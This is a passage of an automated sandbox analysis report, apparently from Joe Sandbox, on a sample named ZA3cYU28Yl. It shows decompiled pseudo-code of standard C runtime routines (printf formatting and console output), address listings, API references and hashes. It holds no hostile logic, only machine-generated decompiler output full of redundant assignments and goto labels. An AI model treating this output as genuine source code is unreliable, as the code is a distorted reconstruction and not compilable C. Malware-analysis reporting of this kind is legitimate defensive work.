																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xd:
																		goto L0;
																	case 0xe:
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																}
															case 8:
																L30:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																goto L33;
															case 9:
																L31:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L33;
															case 0xa:
																L29:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) = __ecx;
																goto L33;
															case 0xb:
																L28:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L33;
															case 0xc:
																L32:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																goto L33;
															case 0xd:
																L33:
																goto L218;
														}
													} else {
														if(0 == 0) {
															 *(_t557 - 0x314) = 0;
														} else {
															 *(_t557 - 0x314) = 1;
														}
														_t543 =  *(_t557 - 0x314);
														 *(_t557 - 0x278) =  *(_t557 - 0x314);
														if( *(_t557 - 0x278) == 0) {
															_push(L"(\"Incorrect format specifier\", 0)");
															_push(0);
															_push(0x460);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t526 = L0041E000();
															_t559 = _t559 + 0x14;
															if(_t526 == 1) {
																asm("int3");
															}
														}
														L14:
														if( *(_t557 - 0x278) != 0) {
															goto L16;
														} else {
															 *((intOrPtr*)(L00422AF0(_t543))) = 0x16;
															E00422880(_t528, _t543, _t555, _t556, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
															 *(_t557 - 0x2f0) = 0xffffffff;
															E0041AAA0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x2f0);
															L229:
															return E0042BAA0(_t499, _t528,  *(_t557 - 0x48) ^ _t557, _t547, _t555, _t556);
														}
													}
												}
												L219:
												__eflags =  *(_t557 - 0x25c);
												if( *(_t557 - 0x25c) == 0) {
													L222:
													 *(_t557 - 0x334) = 1;
													L223:
													_t530 =  *(_t557 - 0x334);
													 *(_t557 - 0x2e0) =  *(_t557 - 0x334);
													__eflags =  *(_t557 - 0x2e0);
													if( *(_t557 - 0x2e0) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t504 = L0041E000();
														_t559 = _t559 + 0x14;
														__eflags = _t504 - 1;
														if(_t504 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t557 - 0x2e0);
													if( *(_t557 - 0x2e0) != 0) {
														 *(_t557 - 0x300) =  *(_t557 - 0x24c);
														E0041AAA0(_t557 - 0x40);
														_t499 =  *(_t557 - 0x300);
													} else {
														 *((intOrPtr*)(L00422AF0(_t530))) = 0x16;
														E00422880(_t528, _t530, _t555, _t556, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t557 - 0x2fc) = 0xffffffff;
														E0041AAA0(_t557 - 0x40);
														_t499 =  *(_t557 - 0x2fc);
													}
													goto L229;
												}
												L220:
												__eflags =  *(_t557 - 0x25c) - 7;
												if( *(_t557 - 0x25c) == 7) {
													goto L222;
												}
												L221:
												 *(_t557 - 0x334) = 0;
												goto L223;
											}
										}
										L187:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L189:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L190;
										}
										L188:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L190;
										}
										goto L189;
									}
									L183:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x2bc);
									__edx =  *(__ebp - 0x2c0);
									__eax = E00430570( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
									 *(__ebp - 0x2ac) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x2bc);
									__ecx =  *(__ebp - 0x2c0);
									 *(__ebp - 0x2c0) = E004305F0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
									 *(__ebp - 0x2bc) = __edx;
									__eflags =  *(__ebp - 0x2ac) - 0x39;
									if( *(__ebp - 0x2ac) > 0x39) {
										__edx =  *(__ebp - 0x2ac);
										__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
										__eflags = __edx;
										 *(__ebp - 0x2ac) = __edx;
									}
									__eax =  *(__ebp - 4);
									__cl =  *(__ebp - 0x2ac);
									 *( *(__ebp - 4)) = __cl;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									goto L182;
								}
							}
							L168:
							__eflags =  *(__ebp - 0x2b8);
							if( *(__ebp - 0x2b8) >= 0) {
								goto L170;
							}
							goto L169;
							L170:
							__ecx =  *(__ebp - 0x2b8);
							 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
							__edx =  *(__ebp - 0x2b4);
							 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
							goto L171;
						}
					}
				}
			}

0x00434d97
0x00434d97
0x00434d97
0x00434d97
0x00434d97
0x00434d97
0x00434d97
0x00434da1
0x00434da1
0x00434da1
0x00434dab
0x00434dab
0x00434db1
0x00434db3
0x00434dbd
0x00434dbd
0x00434dc0
0x00434dc3
0x00434dc3
0x00434dea
0x00434dea
0x00434ded
0x00434ded
0x00434df2
0x00434e14
0x00434e14
0x00434e1a
0x00434e3c
0x00434e3c
0x00434e3f
0x00434e86
0x00434e86
0x00434e89
0x00434ea6
0x00434eaa
0x00434eb2
0x00434eb2
0x00434eb4
0x00434eba
0x00434e8b
0x00434e8b
0x00434e8f
0x00434e97
0x00434e98
0x00434e9e
0x00434e9e
0x00434e41
0x00434e44
0x00434e44
0x00434e47
0x00434e65
0x00434e71
0x00434e74
0x00434e75
0x00434e7b
0x00434e49
0x00434e49
0x00434e4d
0x00434e55
0x00434e56
0x00434e57
0x00434e5d
0x00434e5d
0x00434e81
0x00434e1c
0x00434e1c
0x00434e28
0x00434e2e
0x00434e2e
0x00434df4
0x00434df4
0x00434e00
0x00434e06
0x00434e06
0x00434ec3
0x00434ec3
0x00434ec6
0x00000000
0x00000000
0x00434ec8
0x00434ec8
0x00434ecf
0x00000000
0x00000000
0x00434ed1
0x00434ed1
0x00434edc
0x00434ee2
0x00434ee4
0x00434eea
0x00434eed
0x00434eef
0x00434ef5
0x00434efe
0x00434f03
0x00434f20
0x00434f23
0x00434f23
0x00434f28
0x00434f2d
0x00434f2d
0x00434f33
0x00434f35
0x00434f3b
0x00434f41
0x00434f41
0x00434f4a
0x00434f4a
0x00434f33
0x00434f50
0x00434f54
0x00434f62
0x00434f65
0x00434f68
0x00434f6f
0x00434f71
0x00434f71
0x00434f56
0x00434f56
0x00434f56
0x00434f7e
0x00434f7e
0x00434f84
0x00434f86
0x00434f86
0x00434f8d
0x00434f90
0x00434f93
0x00434f93
0x00434f93
0x00434f99
0x00434f9c
0x00434f9f
0x00434fa1
0x00000000
0x00000000
0x00434fa3
0x00434fa9
0x00434fa9
0x00434faf
0x0043502c
0x0043502f
0x00435032
0x00435035
0x00435038
0x0043503b
0x00435041
0x00435041
0x00435047
0x00435072
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x0043507c
0x0043507f
0x0043507f
0x00435082
0x00435087
0x00435087
0x0043508c
0x0043509e
0x0043509e
0x004350a1
0x004350b3
0x004350b3
0x004350b6
0x004350b8
0x004350bc
0x004350bc
0x004350a3
0x004350a3
0x004350a7
0x004350a7
0x0043508e
0x0043508e
0x00435092
0x00435092
0x0043508c
0x004350c6
0x004350c9
0x004350cc
0x004350d5
0x004350d5
0x004350d8
0x004350da
0x004350e1
0x004350e5
0x004350ee
0x004350f3
0x004350f6
0x004350fd
0x00435101
0x00435105
0x00435111
0x00435114
0x00435114
0x00435117
0x0043511c
0x0043511c
0x0043511f
0x00435121
0x00435128
0x0043512c
0x00435135
0x0043513a
0x0043511f
0x0043513d
0x00435141
0x00435215
0x00435215
0x0043521c
0x00435220
0x00435224
0x00435228
0x00000000
0x00435147
0x00435147
0x00435147
0x0043514b
0x00000000
0x00000000
0x00435151
0x00435151
0x0043515b
0x0043515e
0x00435164
0x00435167
0x0043516d
0x0043516d
0x0043516d
0x00435179
0x0043517c
0x00435182
0x00435184
0x00000000
0x00000000
0x0043518a
0x0043518a
0x00435193
0x0043519a
0x004351a4
0x004351ab
0x004351ba
0x004351c6
0x004351c9
0x004351cf
0x004351d6
0x004351e1
0x004351e1
0x00000000
0x004351e1
0x004351d8
0x004351d8
0x004351df
0x004351ed
0x004351ed
0x004351f4
0x004351f8
0x00435206
0x00000000
0x0043520b
0x00000000
0x004351df
0x00435213
0x00435230
0x00435230
0x00435237
0x0043523c
0x0043523c
0x0043523f
0x00435241
0x00435248
0x0043524c
0x00435255
0x0043525a
0x0043523f
0x00435237
0x0043525d
0x0043525d
0x00435261
0x00435269
0x00435271
0x00435271
0x00435278
0x00435278
0x0043434f
0x00434355
0x00434362
0x00434367
0x00000000
0x0043437a
0x00434384
0x004343ab
0x00434392
0x004343a3
0x004343a3
0x00434384
0x004343b5
0x004343bb
0x004343c7
0x004343ca
0x004343d8
0x004343db
0x004343e8
0x0043448d
0x00434493
0x00434499
0x004344a0
0x00000000
0x00000000
0x004344a6
0x004344ac
0x00000000
0x004344b3
0x004344b3
0x004344cb
0x004344d0
0x004344d3
0x004344d5
0x0043458f
0x004345a2
0x004345a7
0x00000000
0x004344db
0x004344ee
0x004344f3
0x004344f9
0x004344fb
0x00434504
0x00434504
0x00434507
0x00434513
0x00434517
0x0043451d
0x0043451f
0x00434524
0x00434526
0x0043452b
0x00434530
0x00434532
0x00434537
0x0043453a
0x0043453d
0x0043453f
0x0043453f
0x0043453d
0x00434540
0x00434540
0x00434547
0x00000000
0x00434549
0x0043454e
0x0043456a
0x00434572
0x0043457f
0x00434584
0x00000000
0x00434584
0x00434547
0x00000000
0x004345af
0x004345af
0x004345b6
0x004345b9
0x004345bc
0x004345bf
0x004345c2
0x004345c5
0x004345c8
0x004345cf
0x004345d6
0x00000000
0x00000000
0x004345e2
0x004345e2
0x004345e9
0x004345f5
0x004345f8
0x004345fe
0x00434605
0x00000000
0x00000000
0x00434607
0x00434607
0x0043460d
0x0043460d
0x00434614
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434657
0x00434657
0x0043465e
0x00434661
0x0043468b
0x0043468e
0x0043468e
0x00434691
0x00434698
0x00434698
0x0043469c
0x00434663
0x00434663
0x0043466f
0x00434672
0x00434676
0x00434678
0x0043467b
0x0043467b
0x0043467e
0x00434684
0x00434686
0x00434686
0x00434689
0x00000000
0x00000000
0x004346a4
0x004346a4
0x00000000
0x00000000
0x004346b0
0x004346b0
0x004346b7
0x004346ba
0x004346da
0x004346dd
0x004346dd
0x004346e7
0x004346e7
0x004346eb
0x004346bc
0x004346bc
0x004346c8
0x004346cb
0x004346cf
0x004346d1
0x004346d1
0x004346d8
0x00000000
0x00000000
0x004346f3
0x004346f3
0x004346fa
0x00434706
0x00434709
0x0043470f
0x00434716
0x00434829
0x00000000
0x00434829
0x0043471c
0x0043471c
0x00434722
0x00434722
0x00434729
0x00000000
0x0043475f
0x0043475f
0x00434762
0x00434765
0x00434768
0x00434790
0x00434790
0x00434793
0x00434796
0x00434799
0x004347be
0x004347be
0x004347c1
0x004347c4
0x004347c7
0x00434800
0x00434811
0x00000000
0x00434811
0x004347c9
0x004347c9
0x004347cc
0x004347cf
0x004347d2
0x00000000
0x00000000
0x004347d4
0x004347d4
0x004347d7
0x004347da
0x004347dd
0x00000000
0x00000000
0x004347df
0x004347df
0x004347e2
0x004347e5
0x004347e8
0x00000000
0x00000000
0x004347ea
0x004347ea
0x004347ed
0x004347f0
0x004347f3
0x00000000
0x00000000
0x004347f5
0x004347f5
0x004347f8
0x004347fb
0x004347fe
0x00434802
0x00000000
0x00434802
0x00000000
0x004347fe
0x0043479b
0x0043479b
0x0043479e
0x004347a2
0x004347a5
0x00000000
0x004347a7
0x004347aa
0x004347ad
0x004347b0
0x004347b3
0x004347b9
0x00000000
0x004347b9
0x004347a5
0x0043476a
0x0043476a
0x0043476d
0x00434771
0x00434774
0x00000000
0x00434776
0x00434779
0x0043477c
0x0043477f
0x00434782
0x00434788
0x00000000
0x00434788
0x00000000
0x00434813
0x00434816
0x00434819
0x00000000
0x00000000
0x00434730
0x00434730
0x00434733
0x00434736
0x00434739
0x00434751
0x00434754
0x00434754
0x00434757
0x0043473b
0x0043473e
0x00434741
0x00434747
0x0043474c
0x0043474c
0x00000000
0x00000000
0x0043481e
0x0043481e
0x00434821
0x00434821
0x00434826
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043482e
0x0043482e
0x00434835
0x00434841
0x00434844
0x0043484a
0x00434851
0x00435072
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00435072
0x00434857
0x0043485d
0x0043485d
0x00434864
0x00000000
0x00434bbe
0x00434bbe
0x00434bc5
0x00434bcc
0x00434bcc
0x00434bcf
0x00000000
0x00000000
0x0043486b
0x0043486e
0x0043486e
0x00434874
0x00434876
0x00434879
0x00434879
0x0043487e
0x0043487e
0x00000000
0x00000000
0x004349ab
0x004349ae
0x004349ae
0x004349b3
0x004349b5
0x004349b8
0x004349b8
0x004349be
0x004349be
0x00000000
0x00000000
0x00434d8b
0x00434d8b
0x00434da1
0x00434da1
0x00434dab
0x00434dab
0x00434db1
0x00434db3
0x00434dbd
0x00434dbd
0x00434dc0
0x00434dc3
0x00434dc3
0x00000000
0x00000000
0x00434915
0x00434915
0x00434921
0x00434927
0x0043492e
0x0043493c
0x0043493c
0x00434942
0x00434945
0x00434951
0x004349a6
0x00000000
0x004349a6
0x00434930
0x00434930
0x00434936
0x0043493a
0x00434956
0x00434959
0x00434959
0x0043495f
0x00434987
0x0043498e
0x00434994
0x00434997
0x0043499a
0x004349a0
0x004349a3
0x00434961
0x00434961
0x00434967
0x0043496a
0x0043496d
0x00434973
0x00434976
0x00434979
0x0043497b
0x0043497e
0x0043497e
0x00000000
0x0043495f
0x00000000
0x00000000
0x00434bd5
0x00434bd8
0x00434bdb
0x00434bde
0x00434be4
0x00434be7
0x00434bee
0x00434bf2
0x00434bfd
0x00434bfd
0x00434c01
0x00434c18
0x00434c18
0x00434c1f
0x00434c21
0x00434c21
0x00434c28
0x00434c28
0x00434c2f
0x00434c40
0x00434c4f
0x00434c52
0x00434c56
0x00434c6c
0x00434c58
0x00434c58
0x00434c5b
0x00434c61
0x00434c67
0x00434c67
0x00434c56
0x00434c76
0x00434c79
0x00434c7c
0x00434c7f
0x00434c82
0x00434c85
0x00434c8b
0x00434c91
0x00434c99
0x00434c9a
0x00434c9d
0x00434c9e
0x00434ca1
0x00434ca2
0x00434ca9
0x00434caa
0x00434cad
0x00434cae
0x00434cb1
0x00434cb2
0x00434cb8
0x00434cb9
0x00434cc7
0x00434cc9
0x00434ccf
0x00434ccf
0x00434cd5
0x00434cd7
0x00434cdb
0x00434cdd
0x00434ce5
0x00434ce6
0x00434ce9
0x00434cea
0x00434cf8
0x00434cfa
0x00434cfa
0x00434cdb
0x00434cfd
0x00434d04
0x00434d07
0x00434d0c
0x00434d0c
0x00434d12
0x00434d14
0x00434d1c
0x00434d1d
0x00434d20
0x00434d21
0x00434d30
0x00434d32
0x00434d32
0x00434d12
0x00434d35
0x00434d38
0x00434d3b
0x00434d3e
0x00434d43
0x00434d49
0x00434d4c
0x00434d4f
0x00434d4f
0x00434d52
0x00434d52
0x00434d55
0x00434d61
0x00435072
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00000000
0x00435072
0x00434c03
0x00434c03
0x00434c0a
0x00434c0d
0x00000000
0x00000000
0x00434c0f
0x00434c0f
0x00000000
0x00434c0f
0x00434bf4
0x00434bf4
0x00000000
0x00000000
0x00434881
0x00434884
0x00434884
0x0043488a
0x004348e5
0x004348ed
0x004348f4
0x004348fa
0x00434900
0x0043488c
0x0043488c
0x00434896
0x0043489a
0x004348a2
0x004348a9
0x004348b6
0x004348bd
0x004348c9
0x004348cf
0x004348d6
0x004348d8
0x004348d8
0x004348df
0x00434907
0x0043490d
0x00435072
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00000000
0x00434d69
0x00434d6c
0x00434d6f
0x00434d72
0x00434dea
0x00434ded
0x00434ded
0x00434df2
0x00434e14
0x00434e14
0x00434e1a
0x00434e3c
0x00434e3c
0x00434e3f
0x00434e86
0x00434e86
0x00434e89
0x00434ea6
0x00434eaa
0x00434eb2
0x00434eb2
0x00434eb4
0x00434eba
0x00434e8b
0x00434e8b
0x00434e8f
0x00434e97
0x00434e98
0x00434e9e
0x00434e9e
0x00434e41
0x00434e44
0x00434e44
0x00434e47
0x00434e65
0x00434e71
0x00434e74
0x00434e75
0x00434e7b
0x00434e49
0x00434e49
0x00434e4d
0x00434e55
0x00434e56
0x00434e57
0x00434e5d
0x00434e5d
0x00434e81
0x00434e1c
0x00434e1c
0x00434e28
0x00434e2e
0x00434e2e
0x00434df4
0x00434df4
0x00434e00
0x00434e06
0x00434e06
0x00434ec3
0x00434ec3
0x00434ec6
0x00000000
0x00000000
0x00000000
0x00434ac7
0x00434ac7
0x00434ad3
0x00434ad9
0x00434ade
0x00434ae0
0x00434b8a
0x00434b8d
0x00434b8d
0x00434b90
0x00434ba4
0x00434baa
0x00434bb0
0x00434b92
0x00434b92
0x00434b9f
0x00434b9f
0x00434bb2
0x00435072
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00435072
0x00434ae6
0x00434ae6
0x00434ae6
0x00434ae8
0x00434af6
0x00434aea
0x00434aea
0x00434aea
0x00434b00
0x00434b06
0x00434b0c
0x00434b13
0x00434b15
0x00434b1a
0x00434b1c
0x00434b21
0x00434b26
0x00434b28
0x00434b2d
0x00434b30
0x00434b33
0x00434b35
0x00434b35
0x00434b33
0x00434b36
0x00434b3d
0x00434b85
0x00435072
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00434b3f
0x00434b3f
0x00434b44
0x00434b60
0x00434b68
0x00434b72
0x00434b75
0x00434b7a
0x00000000
0x00434b7a
0x00000000
0x00434dcc
0x00434dcc
0x00434dd6
0x00434dd6
0x00434ddc
0x00434dde
0x00434de1
0x00434de1
0x00434de7
0x00434de7
0x00434dea
0x00434dea
0x00434ded
0x00434ded
0x00434df2
0x00434e14
0x00434e14
0x00434e1a
0x00434e3c
0x00434e3c
0x00434e3f
0x00434e86
0x00434e86
0x00434e89
0x00434ea6
0x00434eaa
0x00434eb2
0x00434eb2
0x00434eb4
0x00434eba
0x00434e8b
0x00434e8b
0x00434e8f
0x00434e97
0x00434e98
0x00434e9e
0x00434e9e
0x00434e41
0x00434e44
0x00434e44
0x00434e47
0x00434e65
0x00434e71
0x00434e74
0x00434e75
0x00434e7b
0x00434e49
0x00434e49
0x00434e4d
0x00434e55
0x00434e56
0x00434e57
0x00434e5d
0x00434e5d
0x00434e81
0x00434e1c
0x00434e1c
0x00434e28
0x00434e2e
0x00434e2e
0x00434df4
0x00434df4
0x00434e00
0x00434e06
0x00434e06
0x00434ec3
0x00434ec3
0x00434ec6
0x00000000
0x00000000
0x00000000
0x00434ec6
0x00000000
0x00434d84
0x00434d84
0x00000000
0x00000000
0x004349c1
0x004349c1
0x004349c5
0x004349d3
0x004349d6
0x004349c7
0x004349c7
0x004349c7
0x004349dc
0x004349e2
0x004349e8
0x004349f4
0x004349fa
0x004349fa
0x00434a00
0x00434a67
0x00434a67
0x00434a6b
0x00434a6d
0x00434a73
0x00434a73
0x00434a76
0x00434a79
0x00434a7f
0x00434a7f
0x00434a7f
0x00434a8b
0x00434a8e
0x00434a94
0x00434a96
0x00000000
0x00000000
0x00434a98
0x00434a98
0x00434a9e
0x00434aa1
0x00434aa3
0x00000000
0x00000000
0x00434aa5
0x00434aab
0x00434aae
0x00434aae
0x00434ab6
0x00434ab6
0x00434abc
0x00434abc
0x00434abf
0x00000000
0x00434a02
0x00434a02
0x00434a02
0x00434a06
0x00434a08
0x00434a0d
0x00434a0d
0x00434a10
0x00434a17
0x00434a1a
0x00434a20
0x00434a20
0x00434a20
0x00434a2c
0x00434a2f
0x00434a35
0x00434a37
0x00000000
0x00000000
0x00434a39
0x00434a39
0x00434a3f
0x00434a42
0x00434a44
0x00000000
0x00000000
0x00434a46
0x00434a4c
0x00434a4f
0x00434a4f
0x00434a57
0x00434a5d
0x00434a60
0x00434a62
0x00434ac2
0x00435072
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00435072
0x00000000
0x00434d7b
0x00434d7b
0x00434dea
0x00434dea
0x00434ded
0x00434ded
0x00434df2
0x00434e14
0x00434e14
0x00434e1a
0x00434e3c
0x00434e3c
0x00434e3f
0x00434e86
0x00434e86
0x00434e89
0x00434ea6
0x00434eaa
0x00434eb2
0x00434eb2
0x00434eb4
0x00434eba
0x00434e8b
0x00434e8b
0x00434e8f
0x00434e97
0x00434e98
0x00434e9e
0x00434e9e
0x00434e41
0x00434e44
0x00434e44
0x00434e47
0x00434e65
0x00434e71
0x00434e74
0x00434e75
0x00434e7b
0x00434e49
0x00434e49
0x00434e4d
0x00434e55
0x00434e56
0x00434e57
0x00434e5d
0x00434e5d
0x00434e81
0x00434e1c
0x00434e1c
0x00434e28
0x00434e2e
0x00434e2e
0x00434df4
0x00434df4
0x00434e00
0x00434e06
0x00434e06
0x00434ec3
0x00434ec3
0x00434ec6
0x00000000
0x00000000
0x00000000
0x00434ec6
0x00000000
0x00000000
0x00000000
0x00435072
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00000000
0x00000000
0x00434631
0x00434634
0x00434637
0x00000000
0x00000000
0x0043463c
0x0043463f
0x00434644
0x00000000
0x00000000
0x00434626
0x00434626
0x00434629
0x0043462c
0x00000000
0x00000000
0x0043461b
0x0043461e
0x00434621
0x00000000
0x00000000
0x00434649
0x00434649
0x0043464c
0x0043464c
0x0043464f
0x00000000
0x00000000
0x00434652
0x00000000
0x00000000
0x004343ee
0x004343f0
0x004343fe
0x004343f2
0x004343f2
0x004343f2
0x00434408
0x0043440e
0x0043441b
0x0043441d
0x00434422
0x00434424
0x00434429
0x0043442e
0x00434430
0x00434435
0x0043443b
0x0043443d
0x0043443d
0x0043443b
0x0043443e
0x00434445
0x00000000
0x00434447
0x0043444c
0x00434468
0x00434470
0x0043447d
0x00434482
0x00435341
0x0043534e
0x0043534e
0x00434445
0x004343e8
0x0043527d
0x0043527d
0x00435284
0x0043529b
0x0043529b
0x004352a5
0x004352a5
0x004352ab
0x004352b1
0x004352b8
0x004352ba
0x004352bf
0x004352c1
0x004352c6
0x004352cb
0x004352cd
0x004352d2
0x004352d5
0x004352d8
0x004352da
0x004352da
0x004352d8
0x004352db
0x004352e2
0x0043532d
0x00435336
0x0043533b
0x004352e4
0x004352e9
0x00435305
0x0043530d
0x0043531a
0x0043531f
0x0043531f
0x00000000
0x004352e2
0x00435286
0x00435286
0x0043528d
0x00000000
0x00000000
0x0043528f
0x0043528f
0x00000000
0x0043528f
0x00435072
0x00435049
0x00435049
0x0043504d
0x0043505a
0x0043505d
0x00435060
0x00435063
0x00435066
0x00435069
0x0043506c
0x0043506c
0x0043506f
0x00000000
0x0043506f
0x0043504f
0x0043504f
0x00435052
0x00435055
0x00435058
0x00000000
0x00000000
0x00000000
0x00435058
0x00434fb1
0x00434fb1
0x00434fb4
0x00434fb7
0x00434fbe
0x00434fc5
0x00434fcd
0x00434fd3
0x00434fd6
0x00434fd9
0x00434fe0
0x00434fec
0x00434ff2
0x00434ff8
0x00434fff
0x00435001
0x00435007
0x00435007
0x0043500d
0x0043500d
0x00435013
0x00435016
0x0043501c
0x00435021
0x00435024
0x00434f93
0x00434f93
0x00434f99
0x00434f9c
0x00434f9f
0x00434fa1
0x00000000
0x00000000
0x00000000
0x00434fa1
0x00434f93
0x00434ed3
0x00434ed3
0x00434eda
0x00000000
0x00000000
0x00000000
0x00434f08
0x00434f08
0x00434f0e
0x00434f14
0x00434f1a
0x00000000
0x00434f1a
0x00434dea
0x00434da1

APIs

_get_int64_arg.LIBCMTD ref: 00434DF8
__aullrem.LIBCMT ref: 00434FC5
__aulldiv.LIBCMT ref: 00434FE7

Strings

0, xrefs: 00434DB3
9, xrefs: 00434FF8
', xrefs: 00434D97

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 2cb84206010ed5459d3f7d39f241dc7a2205797c5f22d91f5477a294d4303920
Instruction ID: 3aa30f36484fe3b042521380d3667a51e4e4d94f43a46dc6a4a9137484887971
Opcode Fuzzy Hash: 2cb84206010ed5459d3f7d39f241dc7a2205797c5f22d91f5477a294d4303920
Instruction Fuzzy Hash: 0541D371D05229DFDB24CF58D899BEEB7B5BB89304F1491DAE019A7240C738AE81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043B100, Relevance: 9.1, APIs: 6, Instructions: 76
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0043B100(void* __edx, void _a4) {
				long _v8;
				int _v12;
				signed int _v16;
				void _v24;
				signed int _t12;
				void _t14;
				void* _t25;
				void* _t31;
				void* _t33;
				void* _t34;
				signed int _t35;

				_t31 = __edx;
				_t12 =  *0x440354; // 0xd19bb892
				_v16 = _t12 ^ _t35;
				if( *0x4416b4 == 0) {
					L12:
					if( *0x4416b4 != 0) {
						L16:
						_t14 = _a4;
					} else {
						_v12 = WideCharToMultiByte(GetConsoleOutputCP(), 0,  &_a4, 1,  &_v24, 5, 0, 0);
						if( *0x441744 == 0xffffffff) {
							L15:
							_t14 = 0xffff;
						} else {
							_t31 =  *0x441744; // 0xfffffffe
							if(WriteConsoleA(_t31,  &_v24, _v12,  &_v8, 0) != 0) {
								goto L16;
							} else {
								goto L15;
							}
						}
					}
				} else {
					if( *0x441744 == 0xfffffffe) {
						E0043CF30();
					}
					if( *0x441744 != 0xffffffff) {
						_t31 =  *0x441744; // 0xfffffffe
						if(WriteConsoleW(_t31,  &_a4, 1,  &_v8, 0) != 0) {
							 *0x4416b4 = 1;
							goto L12;
						} else {
							if( *0x4416b4 != 2 || GetLastError() != 0x78) {
								_t14 = 0xffff;
							} else {
								 *0x4416b4 = 0;
								goto L12;
							}
						}
					} else {
						_t14 = 0xffff;
					}
				}
				return E0042BAA0(_t14, _t25, _v16 ^ _t35, _t31, _t33, _t34);
			}

0x0043b100
0x0043b108
0x0043b10f
0x0043b119
0x0043b18e
0x0043b195
0x0043b1e8
0x0043b1e8
0x0043b197
0x0043b1b6
0x0043b1c0
0x0043b1e1
0x0043b1e1
0x0043b1c2
0x0043b1d0
0x0043b1df
0x00000000
0x00000000
0x00000000
0x00000000
0x0043b1df
0x0043b1c0
0x0043b11b
0x0043b122
0x0043b124
0x0043b124
0x0043b130
0x0043b14a
0x0043b159
0x0043b184
0x00000000
0x0043b15b
0x0043b162
0x0043b17b
0x0043b16f
0x0043b16f
0x00000000
0x0043b182
0x0043b162
0x0043b132
0x0043b132
0x0043b132
0x0043b130
0x0043b1f9

APIs

___initconout.LIBCMTD ref: 0043B124

Part of subcall function 0043CF30: CreateFileA.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,?,0043B129), ref: 0043CF49

